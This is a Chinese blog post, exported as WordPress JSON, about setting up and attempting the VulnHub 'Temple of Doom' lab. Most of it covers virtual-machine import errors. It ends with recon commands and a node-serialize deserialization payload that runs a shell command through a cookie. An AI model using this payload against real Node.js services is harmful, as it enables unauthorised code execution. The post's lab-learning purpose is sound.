{"id":381,"date":"2024-02-25T17:42:37","date_gmt":"2024-02-25T09:42:37","guid":{"rendered":"http:\/\/162.14.82.114\/?p=381"},"modified":"2024-02-25T17:44:03","modified_gmt":"2024-02-25T09:44:03","slug":"vulnhub-temple_of_doom%e9%9d%b6%e5%9c%ba%e9%85%8d%e7%bd%ae%e5%a4%b1%e8%b4%a5","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/381\/02\/25\/2024\/","title":{"rendered":"Vulnhub–Temple_Of_Doom(\u9776\u573a\u914d\u7f6e\u5931\u8d25)"},"content":{"rendered":"

TEMPLE OF DOOM: 1\uff08\u9776\u573a\u914d\u7f6e\u5931\u8d25\uff09<\/h1>\n

\"image-20240225131935585\"<\/div><\/p>\n

\u662f\u4e00\u4e2aeasy\u9776\u573a\uff0c\u6253\u5f00\u770b\u4e00\u4e0b\uff1a<\/p>\n

\u914d\u7f6e\u9776\u573a<\/h2>\n

\u5bfc\u5165\u65f6\u5019\u53d1\u9001\u4e86\u62a5\u9519\uff1a<\/p>\n

\"image-20240225133136098\"<\/div><\/p>\n

\u53c2\u8003\u5e08\u5085\u7684blog<\/a>\u8fdb\u884c\u4fee\u6539\uff1a<\/p>\n

\n

\u89e3\u538bova\u6587\u4ef6\u4f1a\u5f97\u5230\u4e24\u4e2a\u6587\u4ef6\uff0c\u540e\u7f00\u540d\u5206\u522b\u4e3aovf\u548cvmdx<\/p>\n<\/blockquote>\n

\"image-20240225133849689\"<\/div><\/p>\n

\u4e4b\u540e\u5bfc\u5165\u89e3\u538b\u540e\u7684ovf\u6587\u4ef6\uff0c\u8fd8\u662f\u51fa\u73b0\u4e86\u9519\u8bef\uff1a<\/p>\n

\"image-20240225134113532\"<\/div><\/p>\n

\u5c1d\u8bd5\u521b\u5efa\u865a\u62df\u673a\u4f7f\u7528\u89e3\u538b\u51fa\u6765\u7684\u7f51\u5361\u8bd5\u4e00\u4e0b\uff1a<\/p>\n

\"image-20240225134719879\"<\/div><\/p>\n

\u5361\u5728\u8fd9\u4e00\u6b65\u4e86\uff0c\u5c1d\u8bd5\u4f7f\u7528\u4ee5\u4e0bvirtualbox<\/code>\u865a\u62df\u673a\u5427\u3002\u3002\u3002\u3002\u3002\u4e14\u6162\uff0c\u597d\u50cf\u8fdb\u6765\u4e86\uff1a<\/p>\n

\"image-20240225134937017\"<\/div><\/p>\n

\u597d\u591a\u62a5\u9519\u3002\u3002\u3002\u3002\u5c1d\u8bd5\u626b\u63cf\u4e00\u4e0b\uff1a<\/p>\n

sudo arp-scan -l<\/code><\/pre>\n
\"image-20240225135831361\"<\/div><\/p>\n
\u8b66\u544aWARNING: Cannot open MAC\/Vendor file ieee-oui.txt: Permission denied<\/h3>\n
WARNING: Cannot open MAC\/Vendor file mac-vendor.txt: Permission denied<\/p>\n
\u89e3\u51b3\u529e\u6cd5\uff1a<\/p>\n
cd \/usr\/share\/arp-scan\nchmod -R 777 ieee-oui.txt \ncd \/etc\/arp-scan \nchmod -R 777 mac-vendor.txt<\/code><\/pre>\n
\u518d\u56de\u5230\u9776\u573a\uff1a\u5c1d\u8bd5virtualbox<\/code>\u6253\u5f00\u770b\u4e00\u4e0b\uff1a<\/p>\n
\"image-20240225140225155\"<\/div>
\n
\"image-20240225140515663\"<\/div><\/p>\n
\u5636\uff0c\u626b\u4e00\u4e0b\uff1a<\/p>\n
\"image-20240225140603201\"<\/div><\/p>\n
\u6ca1\u529e\u6cd5\u4e86\uff0c\u770b\u770b\u5e08\u5085\u4eec\u662f\u4e0d\u662f\u4e5f\u9047\u5230\u4e86\u8fd9\u4e2a\u95ee\u9898\u3002\u3002\u3002\u3002<\/p>\n
\u5c1d\u8bd5\u521b\u5efa\u4e00\u4e2a\u7f51\u5361\uff1a<\/p>\n
\"image-20240225141601408\"<\/div><\/p>\n
\u5c06\u9776\u573a\u7f51\u5361\u6539\u4e3aNAT\u7f51\u7edc<\/code>\uff0c\u91cd\u542f\u9776\u573a\uff1a<\/p>\n
\"image-20240225141938499\"<\/div><\/p>\n
\u626b\u63cf\u4e00\u4e0b\uff1a<\/p>\n
\"image-20240225142023635\"<\/div><\/p>\n
\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u795e\u9b54\u60c5\u51b5\u3002\u3002\u770b\u5e08\u5085\u4eec\u597d\u50cf\u90fd\u6ca1\u51fa\u73b0\u8fd9\u79cd\u9519\u8bef\u3002\u3002\u3002\u3002<\/p>\n
\u53ea\u80fd\u518d\u6b21\u5c1d\u8bd5\u4e0a\u9762\u5e08\u5085\u7684\u90a3\u4e2a\u64cd\u4f5c\uff0c\u770b\u770b\u6709\u6ca1\u6709\u529e\u6cd5\u4e86\u3002\u3002\u3002\u3002<\/p>\n
vmware\u5782\u6b7b\u6323\u624e<\/h3>\n
\"image-20240225153939388\"<\/div><\/p>\n
\u6253\u5f00\u770b\u4e00\u4e0b\uff1a<\/p>\n
\"image-20240225154019095\"<\/div><\/p>\n
\u66f4\u6539.ovf<\/code>\u6587\u4ef6\uff1a<\/p>\n
\"image-20240225154309109\"<\/div><\/p>\n
\u5bfc\u5165\u865a\u62df\u673a\uff1a<\/p>\n
\"image-20240225154554007\"<\/div><\/p>\n
\u8fd8\u662f\u6709\u8fd9\u4e2a\u62a5\u9519\uff0c\u96be\u9053\u662f\u6709\u68c0\u9a8c\uff1f\u518d\u7785\u7785\u4ee3\u7801\uff0c\u5934\u75db\uff0c\u4e0d\u77e5\u9053\u548b\u56de\u4e8b\uff0c\u518d\u5c1d\u8bd5\u4e00\u4e0b.vmdk<\/code>\u786c\u76d8\u5bfc\u5165\u8bd5\u8bd5\uff1a<\/p>\n
\"image-20240225155523148\"<\/div><\/p>\n
\u5e38\u7528\u547d\u4ee4\u90fd\u7528\u4e0d\u4e86\uff0c\u4f46\u662fhelp\u53ef\u4ee5\u7528\uff0c\u5c1d\u8bd5\u626b\u63cf\u4e00\u4e0b\uff0c\u8fd8\u662f\u626b\u4e0d\u5230\uff0c\u8fd9\u8ba9\u6211\u60f3\u8d77\u4e86\uff0c\u4e4b\u524d\u4f7f\u7528\u5bfc\u5165\u786c\u76d8\u7684\u65f6\u5019\u8ba9\u6211\u8f6c\u6362\u6765\u7740\uff0c\u6211\u6ca1\u8f6c\u6362\u3002\u8bd5\u8bd5\u662f\u4e0d\u662f\u8f6c\u6362\u4e86\u5c31\u80fd\u626b\u5230\u4e86\u3002\u3002\u3002\u3002<\/p>\n
\u8fd8\u662f\u626b\u4e0d\u5230\u3002\u3002\u3002\u3002\u770b\u6765vmware<\/code>\u662f\u4e0d\u592a\u597d\u641e\u7684\uff0c\u53ea\u80fd\u56de\u5f52virtualbox<\/code>\u4e86<\/p>\n
virtualbox<\/h3>\n
\u914d\u7f6e\u7684\u65f6\u5019\u53d1\u73b0\u4e86vdi<\/code>\u6587\u4ef6\uff1a<\/p>\n
\"image-20240225161321910\"<\/div><\/p>\n
\u5c1d\u8bd5\u8fdb\u884c\u8f6c\u6362\uff1a<\/p>\n
VBoxManage.exe clonehd E:\\vulnhub\\TempleOfDOOM\\TOD\\TOD.vdi E:\\vulnhub\\TempleOfDOOM\\TOD\\TOD.vmdk --format VMDK\nvmware-vdiskmanager.exe -r "E:\\vulnhub\\TempleOfDOOM\\TOD\\TOD.vmdk" -t 0 "E:\\vulnhub\\TempleOfDOOM\\TOD\\TOD1.vmdk"<\/code><\/pre>\n
\u9047\u5230\u62a5\u9519\uff1a<\/p>\n
VBoxManage.exe: error: Cannot register the hard disk 'E:\\vulnhub\\TempleOfDOOM\\TOD\\TOD.vdi' {668a93fe-d485-4e97-8643-6300cb805763} because a hard disk 'E:\\vulnhub\\New group\\Temple of Doom\\Temple of Doom-disk001.vdi' with UUID {668a93fe-d485-4e97-8643-6300cb805763} already exists\nVBoxManage.exe: error: Details: code E_INVALIDARG (0x80070057), component VirtualBoxWrap, interface IVirtualBox, callee IUnknown\nVBoxManage.exe: error: Context: "OpenMedium(Bstr(pszFilenameOrUuid).raw(), enmDevType, enmAccessMode, fForceNewUuidOnOpen, pMedium.asOutParam())" at line 201 of file VBoxManageDisk.cpp<\/code><\/pre>\n
\u89e3\u51b3\u529e\u6cd5\uff1a<\/p>\n
VBoxManage.exe internalcommands sethduuid "E:\\vulnhub\\TempleOfDOOM\\TOD\\TOD.vdi"<\/code><\/pre>\n
\u518d\u7ee7\u7eed\u8fdb\u884c\u547d\u4ee4\u3002<\/p>\n
VBoxManage.exe clonehd E:\\vulnhub\\TempleOfDOOM\\TOD\\TOD.vdi E:\\vulnhub\\TempleOfDOOM\\TOD\\TOD.vmdk --format VMDK\n0%...10%...20%...30%...40%...50%...60%...70%...80%...90%...100%\nClone medium created in format 'VMDK'. UUID: 85ee6c12-3095-4c08-96b9-e6570b7a31e6\nvmware-vdiskmanager.exe -r "E:\\vulnhub\\TempleOfDOOM\\TOD\\TOD.vmdk" -t 0 "E:\\vulnhub\\TempleOfDOOM\\TOD\\TOD1.vmdk"\nCreating disk 'E:\\vulnhub\\TempleOfDOOM\\TOD\\TOD1.vmdk'\n  Convert: 100% done.\nVirtual disk conversion successful.<\/code><\/pre>\n
\u5c1d\u8bd5\u4f7f\u7528\u73b0\u5728\u7684\u786c\u76d8\uff0c\u770b\u770b\u80fd\u4e0d\u80fd\u6210\u529f\uff01\uff01\uff01\uff01\u5931\u8d25\u3002\u3002\u3002\u3002<\/p>\n
\u6700\u540e\u8bd5\u4e00\u4e0bvirtualbox\u5427\uff0c\u5b9e\u5728\u4e0d\u884c\u53ea\u80fd\u8df3\u8fc7\u8fd9\u4e2a\u9776\u573a\u4e86\uff0c\u627e\u5e08\u5085\u7684blog\u5b66\u4e60\u4e00\u4e0b\uff1a<\/p>\n
\u76f4\u63a5\u5b66\u4e60\u5427\u3002\u3002\u3002<\/p>\n
\u4fe1\u606f\u641c\u96c6<\/h2>\n
\u7aef\u53e3\u626b\u63cf<\/h3>\n
sudo nmap -sS -A -p- IP\nsduo nmap -sS -sV -T5 -p- IP\nrustscan -a IP<\/code><\/pre>\n
PORT    STATE SERVICE REASON  VERSION\n22\/tcp  open  ssh     syn-ack OpenSSH 7.7 (protocol 2.0)\n666\/tcp open  http    syn-ack Node.js Express framework<\/code><\/pre>\n
\u76ee\u5f55\u626b\u63cf<\/h3>\n
dirb -u IP:666<\/code><\/pre>\n
\u6f0f\u6d1e\u626b\u63cf<\/h3>\n
nikto -h IP:666<\/code><\/pre>\n
\u6f0f\u6d1e\u5229\u7528<\/h2>\n
cookie\u662f\u4e00\u4e2a\u7f16\u7801\u7ed3\u679c\uff1a<\/p>\n
{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":Friday, 13 Oct 2018 00:00:00 GMT"}<\/code><\/pre>\n
\u9700\u8981\u4fee\u6539\u4e3a\uff1a<\/p>\n
{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":"Friday, 13 Oct 2018 00:00:00 GMT"}<\/code><\/pre>\n
\u9700\u8981\u5229\u7528\u5230\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\uff1a<\/p>\n
{"username":"_$$ND_FUNC$$_function(){return require('child_process').execSync('whoami',(error,stdout,stderr)=>{console.log(stdout)}); }()"}<\/code><\/pre>\n